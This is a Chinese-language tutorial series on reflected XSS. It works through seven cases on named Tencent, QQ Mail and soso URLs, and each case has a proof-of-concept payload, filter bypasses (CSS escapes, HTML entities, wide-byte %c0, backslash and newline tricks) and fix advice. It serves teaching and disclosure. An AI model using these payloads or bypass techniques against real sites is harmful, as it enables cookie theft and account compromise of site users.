1. 什么都没过滤的入门情况
简要描述
只是些反射型 XSS,单单发出来没有什么意义。 只是些反射型 XSS,腾讯怎么修都修不完。 只是些反射型 XSS,我想让它变得更有价值。 只是些反射型 XSS,我拿他们做成了教程。
详细说明
-
XSS 的存在,一定是伴随着输入,与输出 2 个概念的。
-
要想过滤掉 XSS,你可以在输入层面过滤,也可以在输出层面过滤。
-
如果输入和输出都没过滤。 那么漏洞将是显而易见的。
-
作为第一个最基础的例子,
我们拿出的是一个什么都没过滤(其实还是有些转义的,主要没过滤<
, >
)的例子。
这种例子出现在 腾讯这种大网站的概率不是很高。 但是还是让我找到了一个。
5.
1 |
http://app.data.qq.com/?umod=commentsoutlet&act=count&siteid=3&libid=9&dataid=1480&score=1&func=haoping&_=1353475261886 |
- 对于上面这个例子。我们可以看到什么是输入,什么是输出。
- 经过测试,我们发现,score 这个【输入】参数,没有进行任何过滤,即,输入是什么,输出就是什么? 通俗点就是“吃什么,拉什么”。。。 如下图:
网页中看到的效果如下:
\8. 既然可以直接输入 <
>
HTML 标签,接下来的利用也就相对简单了。
1 |
http://app.data.qq.com/?umod=commentsoutlet&act=count&siteid=3&libid=9&dataid=1480&score=<img src=1 onerror=alert(1);>&func=haoping&_=1353475261886 |
效果如下:
修复方案
1 |
<HTML 标签></HTML 标签> |
或
1 |
<HTML 标签>[输出]</HTML 标签> |
a. 通常,我们只需要在输出前,将 <
, >
过滤掉即可。
b. 这类 XSS 在小型网站中比较常见,在大型网站中少见。
c. 这类 XSS 通常都被浏览器的 XSS 过滤器秒杀了,所以一般来说,威力较小。
d. 对于普通用户来说,请使用 IE8 及以上版本(并开启 XSS 过滤器功能,默认开启),或 chrome 浏览器,将可以防御大部分此种类型 的 XSS 攻击
2. 输出在``之间的情况
简要描述
接着上面一个教程,我们继续。这个例子属于第一例的特殊情况,当然也有特殊解法。也属于非常常见的一种情况。
详细说明
- 我们找到这么一个点,也是输入和输出都未过滤的一个点。相比教程第一例,其特殊之处在于,是输出在了
[输出]
之间。
1 |
http://activity.soso.com/common/setParentsInfo.php?callback=aaaaaaaaa |
如下图:callback 参数未做过滤。 在【查看源代码】下,我们可以看到。
缺陷网页源代码:
1 |
<script type='text/javascript'>document.domain='soso.com';_ret={"_res":2};try{parent.aaa(_ret);}catch(err){aaa(_ret);}</script> |
- 碰到这种情况,我们一般有以下解法。
2.1 首先判断,是否过滤了 <
, >
, /
等符号,
2.2 如果都没有过滤,恭喜你,一般可以直接 XSS 了。代码如下:
1 |
http://activity.soso.com/common/setParentsInfo.php?callback=aaaaaaaaa</script><script>alert(1)</script> |
payload:
1 |
aaaaaaaaa</script><script>alert(1)</script> |
原理入下图:
构造 callback 参数后的源代码
1 |
<script type='text/javascript'>document.domain='soso.com';_ret={"_res":2};try{parent.aaaaaaaaa</script><script>alert(1)</script>(_ret);}catch(err){aaaaaaaaa</script><script>alert(1)</script>(_ret);}</script> |
2.3 如果过滤了 <
, >
,那么就无法使用上面的办法了。我们接着看
- script 代码里的构造。
友情提示:这里可能需要一点点 javascript 的知识才行哦~~ 我们可以如下构造:
1 |
http://activity.soso.com/common/setParentsInfo.php?callback=eval('alert(1)');void |
payload:
1 |
eval('alert(1)');void |
可以看到,源代码是下面的样子。
也就是说,我们插入的内容,使得这一段 javascript 依然【语法正确】,能够【正确执行】,并且能够执行【我们所插入的 JS 代码】,
这样我们的目的就达到了。 构造后的源代码如下:
1 |
<script type='text/javascript'>document.domain='soso.com';_ret={"_res":2};try{parent.eval('alert(1)');void(_ret);}catch(err){ eval('alert(1)');void(_ret);}</script> |
- 这种输出在 JS 代码里的情况十分常见,但是呢?不幸的是,像这样没过滤的情况,却不是很常见。例如:
var a="[输出]"; //
通常程序员会把 “ 过滤掉, 这样的话,一般来说,我们就很难构造。
但是,这并不是说,就一定是不能利用,后面我们会拿腾讯一些【比较有意思】的例子,来进一步说到 这个【输出在 js 里】的情况的~
修复方案
这类 XSS 的模型通常是:
1 |
<script>...[输出]...</script> |
解决方案:
-
过滤 `` 组合
-
针对输出在不同的场景,进行合适的过滤。
3. 输出在 HTML 属性里的情况
简要描述
和前面的不一样的时,有时候,输出会出现在 HTML 标签的属性之中。
例如: 、
,再比如 `` .. 这个时候怎么办呢?
详细说明
-
大网站一般不是吃素的。前面讲到的基本情况,一般都很少遇到了。
-
这个时候我们可以把目光发展一下,找一找在【输出】出现在 HTML 属性里的情况。
-
最为典型的一种情况,是下面这样的。
1 |
http://xxxx.com/search.php?word=乌云欢迎您 |
HTML 代码里则是下面这样情况的。
1 |
.. 关键词:<input type="text" value="乌云欢迎您" /> |
如果这里的 word 没过滤双引号。就会有以下的情况发生。
1 |
http://xxxx.com/search.php?word=乌云欢迎您" onclick="alert(1) |
对应的源代码如下:
1 |
<input type="text" value="乌云欢迎您" onclick="alert(1)" /> |
解析:
那么当用户点击这个文本框时,就会触发 alert(1)
。
- 当然理想是美好的,现实总是残酷的,我水平有限,并没有在腾讯找到这样的例子。
因为绝大部分这样的情况, 腾讯都会做出相应的过滤。 过滤方法也挺简单,将 "
过滤为 "
就行。 过滤后的代码如下:
1 |
<input type="text" value="乌云欢迎您" onclick="alert(1)" /> |
-
一般来说,上面的情况,过滤了
"
,可以说是高枕无忧了,但是事实并非如此。某些情况下。我们依然可以继续 XSS。下面以腾讯为例。 -
首先看第一种场景。
1 |
http://follow.v.t.qq.com/index.php?c=follow&a=index&appkey=801004516&bg=我是一个兵,爱国爱人民&hsize=80&name=Zhanglifenft,chengyizhong,xiangyang20112007,linchufang,leonardoit,linchufang,qingfengxu6685,zhouzhiche n001,yuguoming-ruc,luomingtitan,bjwbgq,kezuozongbianji,weibotalk,lee007,jxzhongweizhi,lihaipengtx |
这里的 bg 参数过滤了【几乎】所有的东西。但是它输出在了
更重要的是,这里没有过滤 \
,反斜线, 而 css 里,允许使用转义字符, \ + ascii
16 进制形式。这样一来,我们就可以构造利用语句啦。
这里过滤了 expression, 我们也可以轻松的用 expr\65ssion
绕过。
1 |
http://follow.v.t.qq.com/index.php?c=follow&a=index&appkey=801004516&bg=;w:expr\65ssion\28%20eval\28\27\69\66\28\21\7 7\69\6e\64\6f\77\2e\78\29\7b\61\6c\65\72\74\28\64\6f\63\75\6d\65\6e\74\2e\63\6f\6f\6b\69\65\29\3b\77\69\6e\64\6f\77\2 e\78\3d\31\7d\27\29\29&hsize=80&name=Zhanglifenft,chengyizhong,xiangyang20112007,linchufang,leonardoit,linchufang,qin gfengxu6685,zhouzhichen001,yuguoming-ruc,luomingtitan,bjwbgq,kezuozongbianji,weibotalk,lee007,jxzhongweizhi,lihaipeng tx |
效果如下:
这种情况,遗憾之处在于,基于 css expression 的 XSS 已经进入暮年了,只有在 IE6,7 下方能触发,受众面小。这里只是作为一个案例来讲讲。
Tips: 至于这里的转义是如何写的:步骤如下:
例如 e 的 ascii 16 进制是 65, 我们就写为 \65 expression -> expr\65ssion
。
本例缺陷点代码:
1 |
<body style="overflow:auto;background-color:#我是一个兵,爱国爱人民;"> |
- 再来看下一个在属性里的案例。这个例子也是比较常见的。比如:
1 |
<HTML 标签 onXXXX="...[输出在这里].."> |
的例子。 正好,在腾讯的这个例子中,以上 2 个情况一起出现了。 我们以其中一种进行讲解。
1 |
http://stock.finance.qq.com/report/search.php?searchtype_yjbg=yjjg&searchvalue_yjbg=aaaaaaaaaa |
看输出,如下,aaaaaaaa 出现在了 2 个点。
常规来说,因为 onxxxx="[输出]"
和 href="javascript:[输出]"
与 [输出]
没有太大区别。因为[输出]所在的地方,都是 javascript 脚本。
但是[输出]
如果被过滤,往往没有太好的办法。 而上面这 2 种情况,则有一个很好的办法绕过过滤。
Tips:
在 HTML 属性中,会自动对实体字符进行转义。一个简单的比方。
1 |
<img src="1" onerror="alert(1)"> |
和
1 |
<img src="1" onerror="alert(1)"> |
是等效的
换言之,只要上面的情况,没有过滤 &
,#
等符号,我们就可以写入任意字符。 看看缺陷点的代码
1 |
<li><input type="text" id="pagenum" class="inputstyle0814" onkeydown="if ((event.keyCode==13) && (this.value!='')) location.href='http://stock.finance.qq.com/report/search.php?offset='+this.value+'&searchtype_yjbg=yjjg&searchvalue_y jbg=aaaaaaaaaa'"/></li> |
JS 部分我们可以做以下构造,由于’被过滤,我们可以将’写为;
1 |
location.href='........&searchvalue_yjbg=aaaaaa' |
步骤如下:
接着我们把代码转换为 url 的编码。 & -> %26
, # -> %23
最后利用代码如下:
1 |
http://stock.finance.qq.com/report/search.php?searchtype_yjbg=yjjg&searchvalue_yjbg=aaaaaaa%26%23x27;%2balert(1)%2b%26%23x27; |
用户点击页面[GO]按钮触发。
缺陷页面的 [
]() 触发点的代码如下:
1 |
<li><div class="yebg"><a href="javascript:location='http://stock.finance.qq.com/report/search.php?offset='+document.getElementById('pagenum'). value+'&searchtype_yjbg=yjjg&searchvalue_yjbg=aaaaaaaaaa'">GO</a></div></li> |
修复方案
-
对于输出在 HTML 属性中的情况,需要特殊情况特殊对待,该过滤
\
的时候,请过滤\
, 该过滤&
的情况,则过滤掉&
-
碰到有某些修复的人用正则去判断,
&#xNNN..
, 而实际上�NN;
�NN
, (后面自己慢慢试。。) 都是可以的。 或者是

进制; 以及一些特殊的 HTML 实体,如"
等,都要注意到,好麻烦, 最好的办法,还是&
过滤为&
)
个人备注
基于CSS expression的XSS基本碰不到了。之前\65可能直接表示字母e,但是现在要使用\x65,这是需要注意的地方。
4. 宽字节复仇记 [QQ 邮箱基本通用]
来源:[4. 宽字节复仇记 QQ 邮箱基本通用]
简要描述
前面教程第 2 节,说到了输出在<script>..</script>
之间的情况。也说到了后面会再继续一些有意思的例子。
实际上,我们碰到的往往不是那么好。很多情况下,程序员都是会过滤的。
那么我们怎么办呢? “因地制宜,因材施教。” 根据漏洞的实际情况,我们可以各种绕过。 不知道这里乱用成语没啊。 惶恐不安中。
这里先看看第一种方法,宽字节绕过。
详细说明
-
有一个比较经典的 SQL 注入,是宽字节注入。玩渗透的可能对这个都比较清楚。
-
有时候,宽字节确实可以带来奇效~~下面我们看腾讯的一个例子。
-
例子如下:
1 |
http://open.mail.qq.com/cgi-bin/qm_help_mailme?sid=,2,zh_CN&t=%22;alert(1);//aaaaaa |
我们尝试注入 “ 来闭合前面的双引号,但是很悲剧的是,双引号被过滤了。。 如下图:
看到这种情况,一般人估计会放弃了吧,至少说明程序员注意到了这里,并且过滤了。
然后我们可以看到编码是:
1 |
<meta http-equiv="Content-Type" content="text/html; charset=gb18030" /> |
gbxxxx 系列的编码,那么我们尝试一下宽字节呢?
1 |
http://open.mail.qq.com/cgi-bin/qm_help_mailme?sid=,2,zh_CN&t=%c0%22;alert(1);//aaaaaa |
看看效果:
弹个窗:
至于这个漏洞的成因,和传统的宽字节漏洞并不一样。目测应该是由于过滤双引号的正则表达式写得有问题造成的。并不是因为%22
变 成了 %5c%22
,而 %c0
吃掉了后面的%5c
。 而后面这种情况,在腾讯的相关站点暂时没有发现实际案例。 如果有,欢迎大家分享。
漏洞证明
不一一列举了。有这个参数的基本都有问题。
1 |
http://msgopt.mail.qq.com/cgi-bin/readtemplate?sid=ktqO7DjMQcJuAABQ&folderid=9&pagehttp://msgopt.mail.qq.com/cgi-bin/readtemplate?sid=ktqO7DjMQcJuAABQ&folderid=9&page=0&t=aaaa%c0%22;alert(1);//bbbbx&loc=folderlist,,,9 |
修复方案
修复相关过滤机制。
个人备注
1、宽字节注入,首先确定该网站知否支持gb其他系列编码。
2、%c0%22其中%22代表双引号,c0是随意添加的(ascii码大于128位时,自动拼接后面的两位),不是真的要构造一个汉字。所以说c0可以吃掉5c
5. 反斜线复仇记
来源:5. 反斜线复仇记
简要描述
还是在<script>
之间的场景,某些情况下,我们仅仅需要的只是一个反斜线,就可以绕过过滤了。
详细说明
- 有以下实例点。
1 |
http://mail.qq.com/cgi-bin/login?vt=passport&ss=aaa&from=bbb&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%25252Fcgi- bin%25252Fsetting10%25253Faction%25253Dlist%252526t%25253Dsetting10%252526ss%25253Dindex%252526Mtype%25253D1%252526cl ickpos%25253D20%252526loc%25253Ddelegate%25252Cwebmap%25252C%25252C1 |
对应的输出,如下图所示:
经过测试,我们可以看到,双引号是用不了(被过滤为"
), 但是 反斜线还可以使用。
那么这里是否可以成功的 XSS 呢? 我们把缺陷代码部分提取出来。
1 |
<script>getTop().location.href="/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin="+"&t="+"&alias="+"®ali as="+"&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%252Fcgi-bin%252Fsetting10%253Faction%253Dlist%2526t%253Dsetting1 0%2526ss%253Dindex%2526Mtype%253D1%2526clickpos%253D20%2526loc%253Ddelegate%252Cwebmap%252C%252C1"+"&title="+"&url=%2 Fcgi-bin%2Flogin%3Fvt%3Dpassport%26ss%3Daaa%2522%26from%3Dbbb%5C%26delegate_url%3D%252Fcgi-bin%252Fframe_html%253Furl%253D%2525252Fcgi-bin%2525252Fsetting10%2525253Faction%2525253Dlist%25252526t%2525253Dsetting10%25252526ss%2525253Din dex%25252526Mtype%2525253D1%25252526clickpos%2525253D20%25252526loc%2525253Ddelegate%2525252Cwebmap%2525252C%2525252C1"+"&org_fun="+"&aliastype="+"&ss=aaa"+"&from=bbb"+"¶m="+"&sp=6fa57ce5b3047ebMTM1NTQwOTA2Mg"+"&r=3ec785174fff5206 ed6f0cf4a8c5e3c5"+"&ppp="+"&secpp="</script> |
- 可以看到有缺陷的部分是
1 |
location.href="........."+"&ss=aaaa"+"&from=bbb"+"¶m=";//后面省略。 |
我们可以控制的是 aaaa ,又不能用"
,怎么办呢? 因为我们可以使用 \
,那么我们可以杀掉 aaaa 后面的 双引号。
1 |
location.href="........."+"&ss=aaaa\"+"&from=bbb"+"¶m="; |
可以看到代码的结果因为一个反斜线发生了变化,如下图:
为了保证 bbb 后面的语法正确性,我们把 bbb 改为一个数字,把 bbb 后面加上 //
来注释掉后面的部分。变成以下形式。
1 |
location.href="........."+"&ss=aaaa\"+"&from=1//"+"¶m="; |
- 看起来不错哦,但是会出来一些问题,
"字符串"&from=1
,这样是错误的,因为&符号的优先级高,("字符串"&from)=1
是无法进行 这种赋值操作的。这样一来还是不行。别着急。我们可以稍微改动一下。变为以下形式。
1 |
location.href="........."+"&ss=aaaa\"+"&from==1//"+"¶m="; |
由于==的优先级比 &
高,所以语句相当于 ("字符串")&(from==1)
-
更顺眼了,但是还是会悲剧啊。由于 from 未定义,直接和 1 进行相等判断的话,会报错,错误是:“from”未定义。。。怎么办呢?
-
别紧张,javascript 里有一个特性。 如下:
1 |
aaa(); |
凡是以 function xxx(){}
形式定义的函数,都会被最优先解析。换句话说:
解析器在解析 JS 代码段时,会先将 function xxx(){}
拿到最前面解析,然后再依次解析其它的部分。 换句话说,上面的代码,实际的解析顺序是:
1 |
function aaa(){ |
利用这样一个特性,我们的代码可以改改。
1 |
location.href="........."+"&ss=aaaa\"+"&from==1;function from(){}//"+"¶m="; |
这样一来,我们的 function from(){}
就会被提前解析,从而定义了 from, 后面 from==1
的时候,就不会报错啦~~
- 故事往往是曲折的,到了这一步,我们会发现还是不行。
看一看源代码吧~~ ,哎,我们的空格被转义为了
- 当然,这么一点小事情,难不到我们的,我们用注释符来做分隔符。
/**/
替换空格,有没有觉得和 sql 注入一样了,咔咔。
于是,我们的代码变为了:
1 |
location.href="........."+"&ss=aaaa\"+"&from==1;function/**/from(){}//"+"¶m="; |
- 嗯,这次没有语法错误了,我们插入我们自己的 JS 代码。
1 |
location.href="........."+"&ss=aaaa\"+"&from==1;alert(1);function/**/from(){}//"+"¶m="; |
最终的利用代码如下:
恩,这次是我们的 反斜线为 双引号报仇啦!
只有在不登录 QQ 邮箱的情况下触发,比较鸡肋,实际意义不大,仅供研究。
修复方案
-
随便修修就好。
-
某些情况下,
\
还是很危险的。
6. 换行符复仇记
来源:6. 换行符复仇记
简要描述
还是在``之间的场景,某些情况下,我们仅仅需要的只是一个换行符,就可以绕过过滤了。 它让双引号,尖括号知道了“它 们不是一个符号在战斗”。
1.实际场景是下面这个例子。
1 |
http://datalib.games.qq.com/cgi-bin/search?libid=178&FilterAttrAND=3602&FilterValueAND=aaaaaaaaaa |
对应的,我们可以看到我们的输入 aaaaaaaaa 会在页面的哪些输出点出现呢?
- 不错,一共有 5 处,有在 HTML 标签之间的(教程 1),也有在
<script>..</script>
之间的。但是呢,该过滤的,<
,>
过滤掉了,该过滤的"
,也过滤掉了。。
- 也就是说传统的已经不行啦,我们继续看 5 处的其他地方。呀,竟然还有一大段注释里,也出现了我们的【输出】
- 嗯,这样一来,是否会想到这样一个用法呢?
1 |
//我是注释,我爱洗澡,哦~哦~哦~ [我是输出] |
如果可以使用换行符的话。
这样 alert(1);
就会被成功执行。
- 恩,带着这样一个想法,我们不难构造出以下利用。
1 |
http://datalib.games.qq.com/cgi-bin/search?libid=178&FilterAttrAND=3602&FilterValueAND=%0aalert(1);// |
看下输出。嘿,果然没过滤。
- 这样,这一次我们的换行符立功了, 它不是一个符号在战斗!
修复方案
尽量不要在 JS 的注释里输出内容。还挺危险的。
个人备注
1、记住几个常用的html编码:如<对应<
>对应>
“对应"
2、换行符%0a
7. 宽字节、反斜线与换行符一起复仇记
简要描述
这一次,3 个家伙一起上啦~
详细说明
- 实例点如下:
1 |
http://cgi.data.tech.qq.com/index.php?mod=search&type=data&site=digi&libid=2&curpage=1&pagenum=30&filterattr=138, 138|16|4,5,4,5&filtervalue=3500-4000,%B4%F3%D3%DA4000|%D0%FD%D7%AA|WCDMA,WCDMA,HSDPA,HSDPA&tplname=centersearch.shtml&orderby=aaaaaaaaaaaa |
老规矩,继续看我们的输出。
-
一共有 3 处输出,位于 HTML 属性里的那一处,我们放弃了,因为双引号被灭掉了。那么还剩下 2 处。 都是位于
<script>...</script>
里,而且挨在了一起。 -
先看第 2 处,是不是似曾相似啊? 对的,教程 6 里刚刚遇到过。那就是输出在【注释】的情况。我们用换行符试试?
-
一条是好消息,换行可以用,一条是坏消息。。下面出现的一句坏了我们的好事。。肿么办。
-
这个时候,我们需要先说点 javascript 的知识。 javascript,字符串允许下面多行的写法。
1 |
var a="我是一个字符串\ 我还是一个字符串"; |
- 基于这点,我们可以把缺陷点构造成下面的样子。
1 |
//document.getElementById("order_select").value = "aaaa\ alert(1);//"; |
那么代码构造的解析如下:
7.带着这个想法,请上我们的反斜线。。
-
悲剧的是,反斜线被过滤成了 2 个
\\
,这下不好办了。 -
还记得在教程 4 里,我们提到的宽字节用法么?说到了
%c0
可以吃掉%5c
。 我们看看页面的编码。
1 |
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> |
gbxxx 系列的啊,窃喜中。
- 于是,我们的
%c0
也加入战斗了。
1 |
http://cgi.data.tech.qq.com/index.php?mod=search&type=data&site=digi&libid=2&curpage=1&pagenum=30&filterattr=138,138|16|4,5,4,5&filtervalue=3500-4000,%B4%F3%D3%DA4000|%D0%FD%D7%AA|WCDMA,WCDMA,HSDPA,HSDPA&tplname=centersearch.shtml&orderby=aaaa%c0%5c%0aalert(1);// |
看看源码中的输出。 \\
被我们变成了 乱码+\
- 此时,标点符号们正在开会,开会的主题是:“大家好,才是真的好”
修复方案
参加前面教程4,5,6
FROM :b0urne.top | Author:b0urne
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论